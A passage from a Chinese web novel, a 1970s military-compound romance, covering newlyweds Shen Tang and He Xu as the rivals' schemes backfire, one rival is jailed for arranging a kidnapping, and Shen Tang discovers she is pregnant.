贺旭:“……你个小骗子!” 他一把将人抱在怀里亲香,昨夜刚开荤,此刻和心心念念的软娇姑娘在一起,哪还忍的住不占点便宜。 亲的沈棠嘴巴都要破皮了才停下来。 沈棠:“……” 有时候真的觉得谈恋爱才是最幸福的时候。 结了婚她的腰都快废了。 嘴也啃秃噜皮了。 “沈同志在家吗?” 外门有人走了进来,沈棠赶忙推开贺旭起身去看。 是隔壁的文婶子,手里还提着一篮子菜:“在家呀,这不是中午了,我多摘了点菜,这些给你们。” “多谢婶子,进来喝口水?” “不了不了,我还得回去做饭呢,这小两口真是甜呼。” 沈棠红着脸将人送了出去。 回去一瞪贺旭,后者摸摸鼻子,跟在她后头去厨房拿碗。 沈棠的假也休完了,第三天就去了文工团上班。 她拿了不少喜糖过来,大家看在喜糖的份上,各种恭喜之话也是不绝于耳。 石冰老远看了一眼,面色不愉,叫了众人一起排练。 休息的时候,李红提起一件事:“过两天有联谊晚会,谁要去参加?” 众人你看我我看你,其中几个年纪比较大的人想去参加。 “石冰,你要去吗?” “那天我有事。” 石冰随口回答。 她脸色不太好,刚刚还热情讨论男兵的众人也没了兴趣继续往下说。 贺旭训练完专门来接沈棠,两人一起去小姨家吃饭。 石冰看着牵着手的背影,心里的嫉妒几乎要压抑不住。 再等等,过几天她定要他身败名裂! 次日早上,石冰穿着小皮鞋走到正在扫大街的何秋跟前。 “有件事我想跟你谈谈。” 何秋抬头望去,女人微抬着下巴,露出傲据的神色,她的脸并无多少特色,但那身气质倒是给她原本平凡的容貌提升了几个档次。 石冰找她做什么? 上辈子这个时候,她已经嫁给了前世的丈夫,没在海市听说过石冰这个人。 后来她回了首都,就听说石冰痴迷一个男人,为了他割了好几次腕,终于有一次没抢救过来就这么年纪轻轻的去了。 她还觉得可惜呢。 “什么事?” “一个……能让你扬眉吐气的事。” 何秋虽然鄙夷石冰好好的一个姑娘,为了个男人自杀,但听到她要和她合作对付沈棠,心里那些轻视瞬间就消失了。 两个人谈话声很小,并没有注意到角落里还站着一个人。 联欢晚会在文工团的大厅中举行。 早上沈棠和众人正在布置大厅,往后一退,忽然撞到一个人。 许婷拧眉看了她一眼,没有像往常一样怒骂出声。 沈棠道了歉,正打算离开,忽被她叫住:“等等。” “你还有什么事吗?” “你跟我出来一趟。”许婷拉着她的手往外走。 到了一处没人的地方,她压低声音道:“昨天早上我看见石冰和何秋在商量怎么对付你和贺营长,如果你听我劝,就回去和贺营长商量一下。” 她将昨天早上那两个人的毒计说了出来。 沈棠听的直皱眉头,没想到石冰竟然这么狠毒,宁愿毁了自己也要把贺旭毁了。 “多谢提醒。” 许婷有些不好意思:“我可不是为你好,我只是为自己报仇罢了。” 沈棠点点头:“我知道。” 许婷轻咳了声:“之前的事,是我不对。” 沈棠诧异的看了她一眼,思索了一番:“虽然你道歉了,但我不接受。” 许婷双眸瞪去:“你别太过分,我已经道歉了,还祝你和贺营长新婚快乐了,你还想怎么样?” “那又怎样,即使你道歉了,曾经对我的造谣和伤害就能挽回了吗? 你的道歉本就是我应得了,而不是你施舍的,接不接受在于我,而不在于你道歉了我就非得接受。” 沈棠说完就拿起自己的包走了,留下许婷气的直瞪眼,想反驳又不知道如何反驳。 这个沈棠,真不知好歹。 联欢晚会在文工团演出大厅进行。 林晓和沈棠以及石冰被李团长任命主持晚会。 来参加联谊晚会的不仅有干部军人,还有老师、医生,一共有一百多人。 联谊晚会需要玩点游戏,男子手里都有从山上采的花,看中了哪个姑娘就将花递给她。 如果女子手上的花也递给了男子,则代表两人看对了眼,可以进一步相亲。 若是都没相中,那这一次就是相亲失败了。 第一卷 第68章 石冰毁了清白 沈棠主持完,正打算去旁边拿点瓜子吃,忽的看到一个军人朝她走来。 “陆营长,你来相亲?” 陆宴州点点头:“团长说我年纪也大了,让我早点定下来。” “那你怎么在这,不去看看有没有合适的吗?” 陆宴州看着含着笑,沐浴在月光下的姑娘,心中压抑的那点心思开始悄悄浮动。 他在心底轻叹了声,到底有缘无份。 他出现的时机太晚了。 “没有合适的,今天相亲算是失败了。” 沈棠心里疑惑,陆宴州长相身高都不错,怎么会失败? 晚会里有几个姑娘还往他们这边看来,明显是对他有意思。 这陆营长可有点挑啊。 旁边的林晓在两人身上打量了下,开口道:“棠棠,咱们去旁边坐着吧,陆营长,虽然你没找到合适的,但也不能随意离场,万一有相中的,让别人登了先就不好了。” 说罢,她拉着沈棠去楼上办公室坐着。 家属院里,贺旭洗好了衣服,再把一枝花插进花瓶,看着满堂温暖,抿唇绽放出笑容。 “叩叩叩,贺营长在家吗?” 大门被敲的急,贺旭刚打开,就听韩忠国快速道:“沈同志在联谊晚会上出了事,听说是从台上摔下来了,你快去看看吧。” 贺旭知道韩忠国不是个会开玩笑的人,连忙朝联谊晚会跑去。 沈棠这边和林晓喝了茶,谈论起林晓结婚的事。 “我不打算办结婚宴了。” 林晓和郝运还没领证,主要是申请到的房子还没打理好。 沈棠:“也行,你们见过父母了吗?” “没呢,今年过年的时候回去见父母。” 这时,楼上忽然传来一道尖锐的叫声,沈棠和林晓对视了一眼,从房间里走了出去。 从楼上跑下来的何秋嘴巴哆嗦着,声音尖锐又响亮:“上面、上面石同志……” “出什么事了?” “难道是石同志出事了?” “何秋同志,你倒是说清楚啊?” 众人围聚在楼下,担忧的往上面走。 沈棠和林晓也跟着上去。 何秋立马拦住她:“棠棠你不能上去。” 沈棠眼神一闪:“为什么?” 何秋吞吞吐吐模棱两可的说:“石同时被人欺负了,欺负她的人是、是……” “是谁呀?” 贺旭懒散的声音从人群后面传来。 他身姿如松柏般挺拔,笑容璀璨吊儿郎当的,穿过众人来到沈棠身边,搂着自家老婆的腰不撒手。 “我与糖糖和石同志有旧,如果她被欺负了,我们军区一定不会轻易放过那个欺负她的人。” 沈棠也郑重道:“何秋同志,你赶紧让开吧,别真出了什么事就不好了。“ 何秋整个人都懵了,尖叫道:“贺营长你怎么在这里?” 贺旭讥讽一笑:“我来接我老婆,怎么不能在这?” 何秋整个人都抖成了筛子,心里发沉。 完了完了,如果贺旭在这里,那上面的男人是谁? 楼上忽然传来一道女子的尖叫声,众人心里一颤,纷纷冲了上去将门踹开。 扯亮灯,就见石冰凌乱着衣服,凄惨的哭着朝人群这边跑来。 “呜呜……我没脸见人了,呜呜……” 站在前头的小姑娘连忙将人抱住,朝里面定眼一看,瞳孔一缩:“那不是王团长家的孩子吗? 石冰也愣了愣,回头一看也懵了。 王团长家大儿子王毅只有十五岁,因为自小就在乡下长大,学了一身毛病,不仅打架斗殴、偷鸡摸狗,还好色成性,小小年纪就因为猥琐姑娘、偷看女人洗澡而被关了好几回少管所。 他身高一米七,脸上长满了青春痘,大概是抠的多了,脸上留下了不少凹凸不平的疤痕,衬得他那双又小又细的眼睛充满了欲色,看着就让人恶心。 石冰尖叫一声差点晕厥过去,不敢置信自己刚刚居然被这么一个人摸了。 “怎么会是你?” 王毅舔了舔嘴巴,他就喜欢比自己年纪大的,石冰长的清秀,但又没结过婚,皮肤滑腻又富有弹性,触感可比那些寡妇好多了。 “我怎么不能在这,这可是你自己邀请我进来的,我也没想到你这么淫/荡啊,还主动勾引我。” 石冰双眸赤红,关了灯,她以为王毅是贺旭,才会主动勾引他。 幸好她的目的是想毁了贺旭,只让他亲了几口便尖声将人引了过来,要是她就此失身,她宁可死了! “我没有,我好好的在房间里休息,你一进来就猥亵我,这件事我绝对不会罢休的,我一定要告诉师长!” 王毅无所谓的笑笑,脸上鼓起的痘包颤了颤,溢出浓液,看的石冰差点吐了。 “那你去告吧,反正我摸也摸了,亲也亲了,衣服我都帮你脱光了,这么多便宜我都占光了,我可不亏。 再说了我又没成年,顶多就是关几天,事情闹大,我看还有谁要你?” 石冰心里恨及,崩溃的“哇”的一声哭了出来,其余人纷纷劝慰她。 唯独许婷站在原地嘲笑。 上次她告诉姨父,将那个乡下二流子抓起来枪毙,石冰还说什么她太狠了。 这次做出这种事的王毅可没成年,判刑都不行,她看她还说什么狠不狠! 只有真真正正体会到了绝望,才不会当个旁观圣人! 大家都不相信是石冰勾引的王毅,毕竟人家要长相有长相,要身材有身材,要家世有家世,前途更是光明,谁会惦记一个长的这么寒碜且一事无成的混混? 反观王毅,劣迹斑斑,家属院里的婶子见了都要骂几句。 事情闹大了,潭师长和三团王团长也过来了。 看到自家儿子混不吝的样子,他气的抄起旁边的扫把就朝他狠狠揍了过去。 王毅这一次可不是猥亵妇女,而是强/奸未遂,加上石冰家世摆在那,直接被判了三年有期徒刑。 王团长的老婆哭的死去活来,还赔了一大把钱给石冰才将这事解决。 但石冰的名声也因此毁了。 往日的温柔全然不见,整个人都显得阴测测,看人眼神阴狠又毒辣,沈棠见到都不敢直视,上班都避着点人。 许婷何秋与石冰的谋划告诉她后,她便与贺旭商量着要如此对付她。 何秋倒是聪明,知道她的话贺旭从来都不信,所以才会让韩忠国传话。 韩忠国知不知道真相,贺旭没有去探究。 之前韩忠国救过差点被拐卖的沈棠,贺旭感激,但他也救过中了药的韩忠国,两人之间的恩情是扯平了的。 他绝不会放过任何一个想要欺负他妻子的人。 石冰之所以敢对他下手,无非是仗着她背后的家世。 贺旭这人最擅长的,不是以牙还牙,而是从根底瓦解对方的依仗,再将人从天堂拽入地狱。 第一卷 第69章 小红梅为什么会掉进井里? 何秋这人没什么智商,只会在表面做些手段。 韩忠国已经动手,再过两个月,他便可以来个螳螂捕蝉黄雀在后,直接堵死他们的路,叫两个人都竹篮打水一场空。 但石冰这个人就是个疯子。 贺旭很早之前就体会过了,简直像只水沟里的蟑螂,永远甩不掉,还时不时的要跳出来恶心你一下。 当天晚上,他便打了电话给爷爷。 如果石冰只想对付沈棠,贺老爷子不一定会管。 但要是对付他,贺老爷子指不定会联想许多个阴谋来。 一件小事被他说的极严重,贺老爷子将信将疑的查了下。 这一查不得了,暗地里想要对付贺旭的那真是多了去了。 贺老爷子气的吹胡子瞪眼,别以为他不知道贺旭这小子就是想借他的手“刀人”。 但偏偏,他还真就不能坐视不管。 石家那边还没反应过来,石老爷子就因为贪污和作风不严被严查了。 此时,石冰还没意识到自己的错。 她看着天天来接沈棠的贺旭,心里嫉妒的几乎扭曲。 贺旭离开首都后,她夜夜做噩梦,梦见那些人扯她的衣服、打她踹她,将她的头发剪掉,在黑暗的巷子里叫天天不应叫地地不灵。 哪怕那些人都被她报复了回去,她也就没能从曾经霸凌中的恐惧里走出来。 她有时候也会想,自己不应该是这样阴暗的人,明明一切都过去了,她也该往前看了。 可她就是放不下,放不下心底的爱慕和嫉妒,控制不住自己的行为。 她无数次的想,贺旭既然救了她,为什么就不能彻底的将她救出来? 既朝她伸手,那他就应该彻彻底底的站在她面前,怎么能伸到一半手,就朝别人走去? 他是她的光。 那就应该和她一样下地狱! 这些天,人人都在背地里议论石冰。 所有人都知道她是受害者,但所有人都不认为她还清白。 跟她表白过的男人也纷纷退缩了回去,家属院里有人给她介绍对象都是二婚三婚的。 歌唱队的人虽然没说什么,但那些以她为首的人也远离了她,更甚至用鄙夷的眼光看她。 到最后,甚至还有人轻描淡写的在背地里说:“还不是她不检点,不然人家王毅干嘛就盯着她,不盯比别人呢?” 石冰听到这句话没什么反应。 当天下午,彩排的时候那说话的姑娘就从舞台上坠落了下来,地上正好有一颗铁钉,直接扎进了那姑娘的腿里。 因为长铁钉有铁锈,她当天晚上就转进了急诊。 偏偏她还是舞蹈队的,这次出事,前途算是彻底毁了。 李红心大,还真以为这事是个意外。 吃饭的时候和沈棠林晓感叹:“吴玲真是太倒霉了,那么多次练习,怎么会从舞台上滑下来?” 林晓本来就聪慧,和沈棠对视了一眼,才道:“你真以为是意外?” 李红:“不是吗?” “你心是真大,舞台上怎么可能有油?我们每次彩排的时候,位置都是确定的,人家白天才说了那番话,晚上就出事了,石冰还被带走调查,这件事李团长心里没点数,能让她被带走吗?” “对了,棠棠你最近小心点,石冰家世不凡,这次的事没有直接证据,她应该很快就会回来了。” 沈棠心有余悸道:“我会小心的。” 李红性子很虎,但也不是傻的,听到林晓这么一说就明白了。 手臂上鸡皮疙瘩瞬间冒了出来:“虽然吴玲那话说的我都觉得过分了,但她下手也太狠了吧?一个不好,吴玲可就没命了。” 那么长一根钉子,要是扎进脑袋,估计得出大事。 “别说了,你这么说我也害怕了。” 沈棠还没遇见过这么疯的人。 下午,石冰就被放了回来。 当然接受调查的也不止她一个。 但只有她被李团长退回了原单位。 听到这个星期就要把她的军籍转回隔壁文工团,众人都松了一口气。 只要不在他们文工团就好,无论是不是她动的手脚,大家都不想和这么一个阴晴不定的人走在一起了。 贺旭和沈棠今天又去小姨家吃饭。 主要是贺旭做的红烧肉太难吃,她自己又做不出那个味道,便提着两斤肉和一袋子糖果去了小姨家。 方红梅最近可喜欢沈棠了。 见她来了,咧着小嘴巴冲过来抱住她的腿,软软的叫唤:“姐姐。” 沈棠只觉得自己的心被击中了,小姑娘可爱死她了。 “红梅,最近听话不?” “听话,我最听话了。” 沈棠逗着小丫头:“你最听话啊?那谁最不听话呢?” 小丫头笑着指向小哥哥:“哥哥他不听话,他又在学校里打架了。” 方红国今年才十岁,听到小妹的话气红了脸:“你个小丫头!自己的糖被人抢了,哭着要我帮你抢回来,我不找人家哥哥打架,难道还打人家三岁小朋友?” 周玲从屋里走出来,笑着道:“别理他们兄妹,昨天红梅去找朋友玩,手里拿了两颗糖,还没吃呢就被韩家那两小的抢走了,红国气不过揍了他们哥哥一顿。 小孩子的事就让小孩子处理,最合适不过了。 快进来坐,每次上门都提东西,你们那点钱,哪里存的住哦。” 方红国虽然才十岁,但却是小学一霸。 这孩子从小就跟贺旭学武,对贺旭最是崇拜。 这会儿见到贺旭也不跟红梅说话了,拉着他就去对打了一番。 沈棠看着小姨院子里那口被盖住的井,心里疑惑。 上辈子方红梅是掉进了井里才会出事,但那井平日里都用厚重的木板压着,红梅也知道危险,从来不去那玩,那她怎么掉下去的? 晚上吃完饭,贺旭拉着沈棠的手一路散步回去。 月光落在二人背后,将他们的影子拉的修长。 沈棠瞧见了,一时兴起去踩他的脑袋。 贺旭看着好玩,立马左右晃动让她踩不着。 沈棠回头怒瞪他,男人瞬间认怂:“我错了。” 然后站着不动让她踩。 沈棠踩了两下,幼稚的朝他办了个鬼脸,然后迅速跑路回家。 贺旭气笑了:“别让我逮着你!” 等熄了灯,他看是谁先求饶! 路过的人看见纷纷露出蜜汁微笑,果然还是新婚好。 一番云雨过后,贺旭揉了揉她的小肚子。 “你说你肚子里啥时候有崽?” 沈棠拍掉他的手,哼哼唧唧的揉腰:“咱们结婚才一个月,肯定不可能那么快怀。” 贺旭:“我看你挺喜欢小孩的。” 想起沈棠曾经喜欢过韩忠国,他吃醋的在她腰上捏了捏。 沈棠腰痒的不行,笑声如玲拍掉他的手:“别摸了,我只喜欢听话又漂亮的小孩。” 不然吵吵闹闹的,谁喜欢? 贺旭想了想,韩忠国那三个孩子看着就邋遢,沈棠肯定不喜欢。 “我也喜欢漂亮又听话的小孩,以后咱们俩生一个又漂亮又听话的。” 第一卷 第70章 我会让何秋付出代价 沈棠羞恼:“……我才十八呢,哪能那么快就生孩子?而且你不觉得二人世界的生活很美好吗?” 小孩逗逗挺好玩的,真要自己手把手的带,那可算了吧。 贺旭瞄了她一眼:“明天有好戏看。” 沈棠来了兴趣,眼睛亮晶晶的:“什么好戏?” 贺旭凑上去:“要不要再摸摸我的腹肌?” 沈棠:“……” 她的手貌似没有放下来过? 线条分明的腹肌起伏不定,她嘴角微翘,顺着深壑的腹肌线往上攀升。 耳边的呼吸好似重了几下,小手猛的被人抓住。 沈棠刚要出声,就被堵住了嘴巴拉进了被子中。 次日沈棠捂着腰起来,含着泪小声的骂骂咧咧,她再也不相信贺旭那个混蛋了(?ò?ó)。 每次说给她摸摸,一摸就要废她的腰。 吃完早餐,沈棠约了林晓和李红一起去市中心。 她最近写了好几篇短篇都过了稿,尤其是那篇揭露拐卖方式的文章,还登上了光明日报,沈老爷子看到后在亲戚面前炫耀了个遍。 消息传的连远在大荒北的父母和大哥他们都听到了。 沈母生怕她缺了钱,还特意寄了些特产和零花钱给她。 出名之后,沈棠过稿就容易了很多。 她这一次写了一篇赞扬军区军嫂的文章,寄去报社后,再去买冬天需要的大衣。 大荒北那边环境恶劣,冬天贼冷,很多吃食买不到,侄子又小,这是好吃零食的年纪,她打算再买些水果和糖以及衣服一同寄过去。 这时候已经十一月中旬了,天气转冷,林晓看沈棠买了各种衣服,也去买了些打算寄去给她和郝运的父母。 李红见了,摇头叹息:“我这个年纪了还没嫁出去,我爸妈他们可着急了,这个月我光相亲就相了四次,没一个看中的。” 沈棠安慰她:“你才二十二,哪里大了?别多想,缘分来了挡都挡不住。” 三人正说着话,忽然瞧见一大群戴红袖章的红小兵急匆匆往公园去。 革委会时不时就要抓人,大家以为又有倒霉蛋要倒霉了。 沈棠几人也根本没过去,瞧见革委会押人也只站在边上看。 出乎意料的是,革委会押的两个衣衫不整的男女中,竟有一个是何秋! “这、这韩营长戴了绿帽子?” 沈棠心想,难道这就是贺旭说的好戏? 军属出轨是要坐牢的。 何秋这么蠢吗? 还是说,这背后有人算计? 几人买完东西,就坐车打道回府。 今天赶集的人很多,没过多久大家就知道了何秋被抓的事。 韩忠国回来的时候脸都是黑的。 “韩营长,到底怎么回事,听说何秋给你戴了绿帽子,别是误会了吧?” “对呀,何秋怎么能做出这样的事?韩营长长相身材也不错,她怎么会出轨?” “韩营长太可怜了,赔了那么多钱出去,结果女人也没留住。” “你们知道的我从不劝人离婚,但是韩营长我觉得你还是离吧,就算是为了孩子考虑也得离啊。” 韩忠国看着众人堵在他门口你一言我一言的问来问去,控制不住的怒呵:“够了,你们都回去吧,这件事我会自己解决。” 他心里暗恨,到底是谁在破坏他的事? 何秋这个女人没有一点羞耻心,勾引他不成肯定会对其他男人动心。 他将何秋有钱的消息特意散布给了个才出狱没多久、专门骗人钱财的男人,就等着他去骗何秋。 只要他抓住何秋出轨的把柄,让何秋想办法拿出钱补全他之前赔出去的,再与之离婚,同情和怜悯自己以及的面子就都保住了。 谁知道,何秋才与那人去公园约会,就被革委会的人抓了。 简直是奇耻大辱! 这其中一定有人在背后搞鬼! 韩忠国知道自己的钱拿不回来了,心里一狠,干脆舍了何秋。 她所谓的梦根本就是假的。 他一直盼着贺旭出事,等了半天,却等来他和沈棠结婚的消息。 之前那些猜对的事,应该是她从哪里得到的消息,故意来骗他的。 韩忠国从小到大没吃过这么大亏,他心里郁闷极了。 何秋蠢笨如猪,要不是眼红贺旭这个年纪就升到了营长之位,他怎么会被她骗? 沈棠吃完晚饭,写完稿子,扑进正在看书的贺旭怀里:“所以是你举报的?” 贺旭望着小姑娘璀璨如明珠一样的眸子,眼神一暗,温润粗粝的指腹摩挲着她的红唇。 温柔的黑眸里藏着一抹狠厉。 “是我,海市派出所有我的熟人,上次的事,我一直怀疑何秋,你放心,我会让她亲口说出来怎么算计的你。” 届时,她只会牢底坐穿。 沈棠扑在他怀里撒娇:“贺旭,你太好了。” “那今晚……” 沈棠立马变了脸色:“不行不行。” 代价是不能付的。 她腰还酸着呢。 贺旭叹气,佯装可怜:“可我过两天要出任务了。” “啊?危险吗?”沈棠担心道。 上次的任务让贺旭住了一个月的院,还休息了一个月,伤才刚好,怎么又要出任务了? “放心,我肯定会活着回来,我可舍不得你了。” 他死了,这小怂包肯定不会为他收寡,指定不定还会带着新欢来他坟前看望他。 想想那个场景,他能酸的从地狱里爬出来! “你一个人要是在家害怕,就去小姨家,出了什么事解决不了,就等我回来再解决。” 沈棠点点头。 俩人说着说着,男人的手不自觉的往下滑。 十一月的天已经很冷了,虽然暂时还没下雪,但沈棠已经换上了过冬的睡衣。 男人的手钻进她的衣服,触碰到那温暖又细腻的肌肤,把沈棠冷的哆嗦了下。 她气鼓鼓的瞪他:“贺旭!” “在呢,老婆亲亲。” 贺旭二话不说凑了上前。 沈棠脸一黑:“你多留点精神,免得做任务的时候没办法集中精力。” 贺旭耍无赖:“我现在精神太好了,要是不发泄点出来,晚上睡不着,精神反而就不好了,所以老婆……” 沈棠:“……” 她的腰啊! * 何秋被抓到派出所的时候心里慌的不行。 甚至忘记了现在不是前世,而是七十年代。 她嚷嚷着自己只不过是和个男人亲了一下,又没有做出出格的事,怎么能算破坏军婚呢? 但偏偏革委会对男女关系这一块抓的格外严厉。 如果何秋不是军属,她现在已经被下放到农场接受改造了。 到了审讯室,她还大声嚷着自己是军嫂,让他们赶紧放了自己。 这时,审讯室里走进来两个中年警察。 何秋看着两个气势汹涌的男人,不知为何心里竟有了些紧张。 “我、我是军嫂,就算是出轨,也轮不到你们来抓我吧?” 第一卷 第71章 何秋自首 军属出轨确实犯法,可也应该交给部队调查清楚才是。 怎么会有人来审问自己? 两个警察没有理会她的叫嚣,其中一个人坐在她的对面:“名字?” “何、何秋,你们到底想干什么?” “何秋,出生于京都纺织厂大院,对吗?” “对……” “九月二十五号那天,你在做什么?” 何秋身体一紧,低着头道:“赶集而已,没做什么。” “我们调查了你那天的行踪,你到市里后就和你丈夫韩忠国分开了,期间不知去向,九点半左右去了供销社,遇到了军区文工团的同志,并且一直没有买东西,就在找她闲聊,似乎是在阻止她前往邮局?八点到九点半这个时间,你在做什么?” 上次派出所已经问过她了,何秋回答的很流利:“我去公园逛了逛。” 公园不要票,人又多,她说去那,又有谁证明她没去过呢。 “不对,你没有去公园,当天早上有人看见你用钱买了一身破旧的衣服,人家丈夫发现后,怀疑你是投机倒把,如今已经报案,你还不实话实说!” “胡说,我没买她的衣服,我明明是用肉换的!” 何秋猛的回过神来,意识到自己说错话了,结结巴巴的咽了咽口水:“你们、你们这是诱供!” 她记得诱供的证词不算数! 中年警察点了根烟,不屑的笑笑:“哪里诱供了?话可是都是你自己说出来的。” 何秋这才想起七十年代别说诱供了,判错案都是正常。 她控制不住颤抖起手来,心里不停安慰自己,只要自己不说出与人贩子有联系,他们就定不了自己的罪。 她神情闪烁,是个人都看得出她的心虚。 中年警察抽完烟,骨节轻叩桌子:“何秋,你如果实话实说,还能少受点苦。 要知道,投机倒把,军婚出轨,已经够你喝一壶了。 你要是不实话实说,我们查出来,这辈子你恐怕都出不了这个监狱。 尤其是我们已经找到了你丢弃的衣服,只要还原当时你的装扮,让那三个人贩子认一认你,你这罪……” 何秋已经被吓住了。 她万万没想到自己当时丢的衣服还能被找到。 她明明都丢到垃圾站去了啊! 气氛诡异的凝固了。 两个警察压迫性的气势更是让人心尖防备逐渐被崩塌。 何秋咬着唇,紧张的咽了咽口水,眼神闪烁的提出条件:“我要见沈棠,否则我什么都也不说。” 对面的警察抱着双臂,唇角上扬似是讽刺:“你说不说,光凭你军婚出轨这一条,这牢你也坐定了。” “坦白从宽,抗拒从严,说了还能减少点罪。” “一旦我们找到你与人贩子勾结的证据,最低也是十年牢狱起步,如果那边人贩子先一步说出实情,那么你的罪就会判的更重。” “这是我们在给你机会,你要是不珍惜,那你只能自求多福了。” 何秋眼泪控制不住掉了下来。 她本就不是个多聪明的人,也不是一个能扛住压力的人。 被两个警察一步步打破防线后,终于还是把事情说了出来。 可警察问道她如何知道那些人贩子的窝点时,她说自己梦到的,警察怎么也不信。 最后只得自己编了个误打误撞的过程。 她之所以能让人贩子去拐卖沈棠,也只是跟人贩子说自己有朋友在警察局,他们要是不按她说的做,她的朋友就会立刻报警。 几个警察听了也无语,没想到何秋胆子还挺大的。 关键是那三个人贩子也是头一次经历这种事,还真的拿了她的钱,就听话去拐卖目标了。 最后何秋被判了十五年有期徒刑。 何秋一下子就崩溃的大哭起来。 她没想到自己辛辛苦苦算计了一切,嫁给韩忠国,却因此入了狱。 早知道如此,她还不如按照前世的路走呢。 韩忠国与何秋的婚姻就此解除。 贺旭出任务后,沈棠在文工团也秉着万事不出头的概念,下了班就去小姨家吃饭,顺便帮小姨带娃。 文工团一周表演两到三次,许是因为石冰要走,领唱之位又空了出来。 “徐慧,这次的演出你暂时担领唱一职。” 李团长的话让在场众人都安静下来。 纷纷用余光看向石冰。 徐慧被点了名,有些不太乐意:“团长,我怕自己担不起来,不然还是石冰同志担任吧。” 石冰来部队之后一直与她关系不错。 尽管上次舞蹈团女兵出事与石冰有点关系,可查来查去又没查出什么,加上那出事的女兵自己管不住嘴,她觉得石冰有点可怜。 反正石冰都快走了,她也不差这么一次领唱,做个人情也好,她不想要这次合唱团的领唱之位。 李团长对石冰的映像一直不错,这次的事她也知道来龙去脉,要不是因为可怜石冰,她在知道石冰做出那样狠的事后,又没有证据,早就处分她了,而不只是退回原工作之地。 “你要是不想担任领唱,就让别人来。” 徐慧在音乐上天赋一直很一般,要不是实在没有人选了,她肯定不会将这个位置给她。 最近她也在培养李红和沈棠,这两个人她暂时还没定下谁来担任领唱。 徐慧脸色一僵。 刚要开口,就被石冰抢了话:“李团长,我知道你不喜欢我,但也没必要这么针对我吧,我没转走军籍,也没在表演上出过错,团长将领唱之位给自己侄女,何必拿我做借口?” 李团长拧眉:“你胡说什么?” 石冰故作委屈:“那不然,为什么领唱之位都只是暂时交给徐慧同志? 在我看来,徐慧同志才是真正能担起领唱之位的人。” 徐慧有些尴尬,她并不想卷入两人矛盾之中。 但心里又隐匿的有点赞同,李红和沈棠才来部队多久? 论资历论经验,都该是自己领唱才对。 “徐慧的缺点太过明显,尤其是她的嗓子粗狂,每次合唱都只能选几首固定的,否则很容易走调。” “但团长您可以教她啊,就像您教沈棠一样,发音、唱歌都是需要方式的,您不教,她又如何能唱好呢?” 石冰的话仿佛带了钩子,勾的歌唱团众人的火气都上来了。 是啊,凭什么李红和沈棠就能得到单独授课? 报纸上都说了,人都应该无私奉献,若是他们能学到一点,又岂会让两个刚来的抢了领唱位置? 李团长眸色微沉:“我该教的都已经教给了你们,沈棠和李红才来文工团,有些跟不上节奏,我才会单独教她们,如果她们两个能在这么短的时间里学会并超越你们,那你们是不是该反应一二?” 众人一噎,这话倒也没错,合唱团并不总是唱那几首歌,有时候也需要自己编曲,大家起点比沈棠可高多了,这么多年来也没让李团长青昧,确实是她们的问题。 徐慧知道石冰是在为她说话,她感谢的看了石冰一眼:“团长,这次的领唱还是让石冰同志来吧,她有经验,您也不能因为之前的事就把人家最后一次上台的机会都剥夺了吧?” 第一卷 第72章 她还没做好当母亲的准备 李团长看其他人都没意见,反对的心思也就淡了。 “那也行,这次还是由石冰来担任领唱之位。” 下了班,沈棠被李红拉着去吃饭。 闻到食堂里那股鱼腥味,她有些反胃,只买了一些青菜。 李红看到有些惊奇:“你平日里可是无肉不欢的啊。” 沈棠无论怎么吃都吃不胖,加上手里有钱,几乎顿顿都有肉。 因为这个,家属院不少人都骂她败家子。 “不知道怎么回事,这几天都没什么胃口。” 林晓眼睛一转:“你该不是怀了吧?” 沈棠有些惊慌:“……不、不会吧?” 她下意识摸摸肚子,她才十八呢,还没做好当母亲的准备呢。 “要不,你去医院看看?” 林晓也是结了婚的人,有些羡慕的看着沈棠,不知道自己什么时候能怀上孩子。 沈棠下午就请了假去医院。 老医生给她探了探脉:“确实有滑脉的迹象,我开个单子,你去检查一下吧。” 不出意料,她确确实实怀了。 拿到报告单的那一刻,沈棠紧张的咽了咽口水,贺旭出任务去了,她现在就跟无头苍蝇一样,根本不知道怎么办? 问了好些需要注意的,只换来老医生一句:“注意点前三个月别同房,你身子不错,该吃吃该喝喝,不用忌口。” 沈棠:“好、好的。” 她懵懂的走回家属院。 还没到家,就见小姨急急忙忙的从家里赶来,歇都没歇一口,就问:“我咋听说你去医院了,出啥事了?” 沈棠把报告递给周玲。 周玲看了之后,惊喜的一拍腿:“怀孕了?” “贺旭不在家,你以后就来小姨家吃饭,今天也是,看你这样子就没吃好,等会回去我杀个鸡给你补补。” 沈棠心中一暖,刚刚的慌乱也荡然无存,只觉得鼻头微微酸涩:“好,谢谢小姨。” “跟小姨客气什么?这些天冷了,你得多顾着点自己呀,别为了好看就不穿严实了,你现在可是双身子的人了,要想想肚子里的孩子……” 虽然小姨有点唠叨,但她并不觉得烦闷。 有人依靠的感觉让她心里踏实了很多。 她再也不是以前那个被人欺负了也只能自己安慰自己的孤儿了。 海市的天气说变就变,原本还不算冷的天,忽然变的寒风凛冽,下起了雨夹雪,冷的叫人瑟瑟发抖。 贺旭走之前就让人买了好些炭火放在家里,被子叠的严实,但沈棠躺进去的时候,还是冷的抖了抖身子。 夜晚,对面房子传来争吵声。 本来大家都不想出去看热闹,可谁知道他们越吵越激烈,似乎还动起了手。 对面那户人家是一团团长吴柱,贺旭的顶头上司。 沈棠对吴团长的老婆没什么好感。 但她都听到附近的人家都过来了,也不好继续躺着,穿了衣服出来看情况。 一团团长的院子门口已经围满了人,风一吹来,大家都缩着脖子看戏。 “咋回事呀?” “还能是咋回事?吴团长他老婆又闹了呗。” 吴团长今年三十八岁,膝下只有一个孩子,妻子是乡下的,比他还大两岁,平日里最是碎嘴巴。 家属院哪家有点私事都要被她那张大嘴巴散播出去。 这一次也是一样,贺旭他们进行秘密任务,谁知道这人不知从哪里听到的消息,以为危险至极,死死拦着他不给他去。 因为这个事,吴团长差点被潭师长处分。 让他处理好家务事再说。 这几天吴团长吵也吵了,骂了骂了,劝也劝了,偏偏女人就不听,把一哭二闹三上吊的本事发挥的淋漓尽致。 吴团长的老婆是他的童养媳,之前一直待在乡下,也是近些日子吴团长老家分了家才来的。 这么一闹,把吴团长积累了好些年的名声全闹没了。 “你再闹,我们就离婚吧。” 吴团长也累了,他就是知道自己媳妇和他娘一样蛮横无理,才会一直不愿意让她来随军。 他想要的媳妇,应该是那种读过书的知识分子,能够将家里打理好,又能与家属院的婶子们合得来,走出来都能拿的出手的姑娘。 而不是这样只知道无理取闹的乡村农妇。 看着对面贺旭娶了那样一个漂亮的老婆,吴团长说不羡慕是假的。 可他也知道,自己儿子都十四了,哪里能说再娶就再娶? 最重要的事,他也没找到能让他各方面都满意的姑娘。 